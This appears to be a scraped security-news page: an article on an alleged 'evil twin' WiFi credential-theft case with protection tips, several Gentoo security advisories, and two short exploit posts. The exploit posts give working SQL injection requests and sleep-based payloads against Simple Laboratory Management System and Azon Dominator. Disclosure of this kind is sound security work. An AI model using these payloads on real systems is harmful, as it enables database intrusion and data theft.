An Australian man was arrested for alleged evil twin attacks. What are they and what can you do about them?

The Australian Federal Police (AFP) have charged a man for setting up fake free WiFi access points in order to steal personal data from people.

The crime was discovered when an airline reported a suspicious WiFi network identified by its employees during a domestic flight. When the alleged perpetrator landed at Perth airport, his bags were searched and authorities found a portable wireless access device, a laptop, and a mobile phone in his hand luggage.

The police say that the man, 42, used a portable wireless access device to create ‘evil twin’ free WiFi networks; so called because criminals set up free WiFi access points that mimic the name of legitimate public WiFi networks.

When people tried to connect their devices to the free WiFi networks, they were taken to a fake webpage requiring them to sign in using their email or social media logins. Those details were then allegedly saved to the man’s devices.

The email and password details harvested could then be used to access more personal information, including bank accounts, emails and messages, photos and videos, and more. 

AFP cybercrime investigators have identified data relating to the use of the alleged fraudulent WiFi pages at airports in Perth, Melbourne and Adelaide, on domestic flights, and at locations linked to the man’s previous employment.

The investigation is ongoing but the man can expect to face nine charges for the alleged cybercrime offences.

‘Evil twin’ attacks are a type of “machine-in-the-middle” attack, where all traffic is routed through a server under the attacker’s control, giving them access to all of the submitted information.

Cybercriminals favour places where people expect to have free WiFi, such as airports, planes, coffee, shops, and libraries. The attacker finds the legitimate network name—known as the SSID (service set identifier)—and creates an access point with the same name.

Access points and wireless router networks broadcast their SSIDs to identify themselves, but the identifiers are not unique. Your device can connect to any SSID if the network has no security options enabled, and it will not be able to differentiate between the legitimate and the fake one.

Evil twin attacks are based on the fact that when two networks have the same SSID and security settings, your device will either connect to the one with the strongest signal or the one it sees first.

**How to stay safe from evil twin attacks**

There are a few things you can do to protect yourself against this kind of attack.

*   Firstly, do not allow your device to auto-connect to public or unsecure networks. See below on how to turn this off.
*   Look out for unexpected behavior. To connect to a free WiFi network, you shouldn’t have to enter any personal details—such as logging in through an email or social media account.
*   Install a trusted VPN to encrypt the traffic regardless of the network you are using, and even when you’re not visiting websites that HTTPS (Hypertext transfer protocol secure) which encrypts the traffic between a browser and the website.
*   And my personal favorite: Use your own personal hotspot. I use a portable 5G Mifi router, which provides me with reliable high-speed WiFi throughout my domestic journeys.

**How to disable auto-connect**

When you’re travelling it may be safer to disable auto-connect on Wi-Fi altogether.

On Android it works roughly like this (steps may be slightly different depending on your Android version, device type, and vendor):

**Settings** > **Network & Internet** (or **Connections**) > **Wi-Fi** > **Wi-Fi preferences** (or **Advanced**). Toggle off **Connect to public networks**.

On iOS you can disable auto-connect by doing this:

**Settings** > **Wi-Fi**. Tap the **(i)** next to the network name and then toggle off **Auto-Join**.

**We don’t just report on threats – we help safeguard your entire digital identit**y

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

 Personal data stolen from unsuspecting airport visitors and plane passengers in “evil twin” attacks, man charged 

Gentoo Linux Security Advisory 202407-8 - Multiple vulnerabilities have been discovered in GNU Emacs and Org Mode, the worst of which could lead to arbitrary code execution. Versions greater than or equal to 26.3-r16:26 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202407-08  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: GNU Emacs, Org Mode: Multiple Vulnerabilities  
     Date: July 01, 2024  
     Bugs: #897950, #927820  
       ID: 202407-08

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been discovered in GNU Emacs and Org Mode,  
the worst of which could lead to arbitrary code execution.

Background  
==========

GNU Emacs is a highly extensible and customizable text editor.

Affected packages  
=================

Package             Vulnerable     Unaffected  
------------------  -------------  --------------  
app-editors/emacs   < 26.3-r16:26  >= 26.3-r16:26  
                    < 27.2-r14:27  >= 27.2-r14:27  
                    < 28.2-r10:28  >= 28.2-r10:28  
                    < 29.2-r1:29   >= 29.2-r1:29  
app-emacs/org-mode  < 9.6.23       >= 9.6.23

Description  
===========

Multiple vulnerabilities have been discovered in GNU Emacs. Please  
review the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All GNU Emacs users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-editors/emacs-29.3-r2"

All Org Mode users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-emacs/org-mode-9.6.23"

References  
==========

[ 1 ] CVE-2022-48337  
      https://nvd.nist.gov/vuln/detail/CVE-2022-48337  
[ 2 ] CVE-2022-48338  
      https://nvd.nist.gov/vuln/detail/CVE-2022-48338  
[ 3 ] CVE-2022-48339  
      https://nvd.nist.gov/vuln/detail/CVE-2022-48339  
[ 4 ] CVE-2024-30202  
      https://nvd.nist.gov/vuln/detail/CVE-2024-30202  
[ 5 ] CVE-2024-30203  
      https://nvd.nist.gov/vuln/detail/CVE-2024-30203  
[ 6 ] CVE-2024-30204  
      https://nvd.nist.gov/vuln/detail/CVE-2024-30204  
[ 7 ] CVE-2024-30205  
      https://nvd.nist.gov/vuln/detail/CVE-2024-30205

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202407-08

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202407-08

Gentoo Linux Security Advisory 202407-7 - A vulnerability has been discovered in cpio, which can lead to arbitrary code execution. Versions greater than or equal to 2.13-r1 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202407-07  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: cpio: Arbitrary Code Execution  
     Date: July 01, 2024  
     Bugs: #807088  
       ID: 202407-07

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

A vulnerability has been discovered in cpio, which can lead to arbitrary  
code execution.

Background  
==========

cpio is a file archival tool which can also read and write tar files.

Affected packages  
=================

Package        Vulnerable    Unaffected  
-------------  ------------  ------------  
app-arch/cpio  < 2.13-r1     >= 2.13-r1

Description  
===========

Multiple vulnerabilities have been discovered in cpio. Please review the  
CVE identifiers referenced below for details.

Impact  
======

GNU cpio allows attackers to execute arbitrary code via a crafted  
pattern file, because of a dstring.c ds_fgetstr integer overflow that  
triggers an out-of-bounds heap write. NOTE: it is unclear whether there  
are common cases where the pattern file, associated with the -E option,  
is untrusted data.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All cpio users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-arch/cpio-2.13-r1"

References  
==========

[ 1 ] CVE-2016-2037  
      https://nvd.nist.gov/vuln/detail/CVE-2016-2037  
[ 2 ] CVE-2019-14866  
      https://nvd.nist.gov/vuln/detail/CVE-2019-14866  
[ 3 ] CVE-2021-38185  
      https://nvd.nist.gov/vuln/detail/CVE-2021-38185

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202407-07

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202407-07

Gentoo Linux Security Advisory 202407-6 - Multiple vulnerabilities have been discovered in cryptography, the worst of which could lead to a denial of service. Versions greater than or equal to 42.0.4 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202407-06  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: cryptography: Multiple Vulnerabilities  
     Date: July 01, 2024  
     Bugs: #769419, #864049, #893576, #918685, #925120  
       ID: 202407-06

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been discovered in cryptography, the worst  
of which could lead to a denial of service.

Background  
==========

cryptography is a package which provides cryptographic recipes and  
primitives to Python developers.

Affected packages  
=================

Package                  Vulnerable    Unaffected  
-----------------------  ------------  ------------  
dev-python/cryptography  < 42.0.4      >= 42.0.4

Description  
===========

Multiple vulnerabilities have been discovered in cryptography. Please  
review the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All cryptography users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-python/cryptography-42.0.4"

References  
==========

[ 1 ] CVE-2020-36242  
      https://nvd.nist.gov/vuln/detail/CVE-2020-36242  
[ 2 ] CVE-2023-23931  
      https://nvd.nist.gov/vuln/detail/CVE-2023-23931  
[ 3 ] CVE-2023-49083  
      https://nvd.nist.gov/vuln/detail/CVE-2023-49083  
[ 4 ] CVE-2024-26130  
      https://nvd.nist.gov/vuln/detail/CVE-2024-26130

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202407-06

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202407-06

Gentoo Linux Security Advisory 202407-5 - A vulnerability has been discovered in SSSD, which can lead to arbitrary code execution. Versions greater than or equal to 2.5.2-r1 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202407-05  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: SSSD: Command Injection  
     Date: July 01, 2024  
     Bugs: #808911  
       ID: 202407-05

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

A vulnerability has been discovered in SSSD, which can lead to arbitrary  
code execution.

Background  
==========

SSSD provides a set of daemons to manage access to remote directories  
and authentication mechanisms such as LDAP, Kerberos or FreeIPA. It  
provides an NSS and PAM interface toward the system and a pluggable  
backend system to connect to multiple different account sources.

Affected packages  
=================

Package        Vulnerable    Unaffected  
-------------  ------------  ------------  
sys-auth/sssd  < 2.5.2-r1    >= 2.5.2-r1

Description  
===========

A vulnerability has been discovered in SSSD. Please review the CVE  
identifier referenced below for details.

Impact  
======

A flaw was found in SSSD, where the sssctl command was vulnerable to  
shell command injection via the logs-fetch and cache-expire subcommands.  
This flaw allows an attacker to trick the root user into running a  
specially crafted sssctl command, such as via sudo, to gain root access.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All SSSD users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=sys-auth/sssd-2.5.2-r1"

References  
==========

[ 1 ] CVE-2021-3621  
      https://nvd.nist.gov/vuln/detail/CVE-2021-3621

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202407-05

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202407-05

Simple Laboratory Management System version 1.0 suffers from a remote time-based SQL injection vulnerability.

    # Exploit Title: Simple Laboratory Management System - Manual Blind Time Based SQL Injection# Exploit Description: A SQL Injection vulnerability in Computer Laboratory Management System v1.0 allows attackers to execute arbitrary SQL commands on the database server which causes the services to delay in response time.# Affected Asset: The "delete_users" function in Users.php inside the Computer Laboratory Management System v1.0 application is vulnerable to Blind Time Based SQL Injection.# Exploit Author: Smitha Bhabal# Date: 2024-06-30# Vendor Homepage: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lms.zip# Version: 1.0# Tested On: Windows 11 Home 22631.3737 + XAMPP 3.3.0 (April 6th 2021)# Reference: https://github.com/payloadbox/sql-injection-payload-listPOST /php-lms/classes/Users.php?f=delete HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: PHPSESSID=1bfs2uc82iaorimhamvfj2qi6uUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1DNT: 1Sec-GPC: 1Priority: u=1Content-Length: 45Content-Type: application/x-www-form-urlencodedid=(select%20*%20from%20(select(sleep(20)))a)

Simple Laboratory Management System 1.0 SQL Injection

Gentoo Linux Security Advisory 202406-6 - Multiple vulnerabilities have been discovered in GStreamer and GStreamer Plugins, the worst of which could lead to code execution. Versions greater than or equal to 1.22.11-r1 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202406-06  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: GStreamer, GStreamer Plugins: Multiple Vulnerabilities  
     Date: June 28, 2024  
     Bugs: #917791, #918095  
       ID: 202406-06

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been discovered in GStreamer and GStreamer  
Plugins, the worst of which could lead to code execution.

Background  
==========

GStreamer is an open source multimedia framework.

Affected packages  
=================

Package                     Vulnerable    Unaffected  
--------------------------  ------------  -------------  
media-libs/gst-plugins-bad  < 1.22.11-r1  >= 1.22.11-r1  
media-libs/gstreamer        < 1.22.11     >= 1.22.11

Description  
===========

Multiple vulnerabilities have been discovered in GStreamer, GStreamer  
Plugins. Please review the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All GStreamer, GStreamer Plugins users should upgrade to the latest  
versions:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=media-libs/gstreamer-1.22.11" ">=media-libs/gst-plugins-bad-1.22.11-r1"

References  
==========

[ 1 ] CVE-2023-40474  
      https://nvd.nist.gov/vuln/detail/CVE-2023-40474  
[ 2 ] CVE-2023-40475  
      https://nvd.nist.gov/vuln/detail/CVE-2023-40475  
[ 3 ] CVE-2023-40476  
      https://nvd.nist.gov/vuln/detail/CVE-2023-40476  
[ 4 ] CVE-2023-44429  
      https://nvd.nist.gov/vuln/detail/CVE-2023-44429  
[ 5 ] CVE-2023-44446  
      https://nvd.nist.gov/vuln/detail/CVE-2023-44446  
[ 6 ] ZDI-CAN-21660  
[ 7 ] ZDI-CAN-21661  
[ 8 ] ZDI-CAN-21768  
[ 9 ] ZDI-CAN-22226  
[ 10 ] ZDI-CAN-22299

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202406-06

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202406-06

Azon Dominator Affiliate Marketing Script suffers from a remote SQL injection vulnerability.

    # Exploit Title: Azon Dominator - Affiliate Marketing Script - SQL Injection# Date: 2024-06-03# Exploit Author: Buğra Enis Dönmez# Vendor: https://www.codester.com/items/12775/azon-dominator-affiliate-marketing-script# Demo Site: https://azon-dominator.webister.net/# Tested on: Arch Linux# CVE: N/A### Request ###POST /fetch_products.php HTTP/1.1Content-Type: application/x-www-form-urlencodedAccept: */*x-requested-with: XMLHttpRequestReferer: https://localhost/Cookie: PHPSESSID=crlcn84lfvpe8c3732rgj3gegg; sc_is_visitor_unique=rx12928762.1717438191.4D4FA5E53F654F9150285A1CA42E7E22.8.8.8.8.8.8.8.8.8Content-Length: 79Accept-Encoding: gzip,deflate,brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: localhostConnection: Keep-alivecid=1*if(now()=sysdate()%2Csleep(6)%2C0)&max_price=124&minimum_range=0&sort=112###### Parameter & Payloads ###Parameter: cid (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: cid=1) AND 7735=7735 AND (5267=5267    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: cid=1) AND (SELECT 7626 FROM (SELECT(SLEEP(5)))yOxS) AND (8442=8442###

Azon Dominator Affiliate Marketing Script SQL Injection

Gentoo Linux Security Advisory 202407-2 - A vulnerability has been discovered in SDL_ttf, which can lead to arbitrary memory writes. Versions greater than or equal to 2.20.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202407-02  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: SDL_ttf: Arbitrary Memory Write  
     Date: July 01, 2024  
     Bugs: #843434  
       ID: 202407-02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

A vulnerability has been discovered in SDL_ttf, which can lead to  
arbitrary memory writes.

Background  
==========

SDL_ttf is a wrapper around the FreeType and Harfbuzz libraries,  
allowing you to use TrueType fonts to render text in SDL applications.

Affected packages  
=================

Package              Vulnerable    Unaffected  
-------------------  ------------  ------------  
media-libs/sdl2-ttf  < 2.20.0      >= 2.20.0

Description  
===========

A vulnerability has been discovered in SDL_ttf. Please review the CVE  
identifier referenced below for details.

Impact  
======

SDL_ttf was discovered to contain an arbitrary memory write via the  
function TTF_RenderText_Solid(). This vulnerability is triggered via a  
crafted TTF file.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All SDL_ttf users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=media-libs/sdl2-ttf-2.20.0"

References  
==========

[ 1 ] CVE-2022-27470  
      https://nvd.nist.gov/vuln/detail/CVE-2022-27470

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202407-02

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202407-02

Gentoo Linux Security Advisory 202407-4 - A vulnerability has been discovered in Pixman, which can lead to a heap buffer overflow. Versions greater than or equal to 0.42.2 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202407-04  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: Pixman: Heap Buffer Overflow  
     Date: July 01, 2024  
     Bugs: #879207  
       ID: 202407-04

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

A vulnerability has been discovered in Pixman, which can lead to a heap  
buffer overflow.

Background  
==========

Pixman is a pixel manipulation library.

Affected packages  
=================

Package          Vulnerable    Unaffected  
---------------  ------------  ------------  
x11-libs/pixman  < 0.42.2      >= 0.42.2

Description  
===========

A vulnerability has been discovered in Pixman. Please review the CVE  
identifiers referenced below for details.

Impact  
======

An out-of-bounds write (aka heap-based buffer overflow) in  
rasterize_edges_8 can occur due to an integer overflow in  
pixman_sample_floor_y.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All Pixman users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=x11-libs/pixman-0.42.2"

References  
==========

[ 1 ] CVE-2022-44638  
      https://nvd.nist.gov/vuln/detail/CVE-2022-44638

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202407-04

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Tag

#web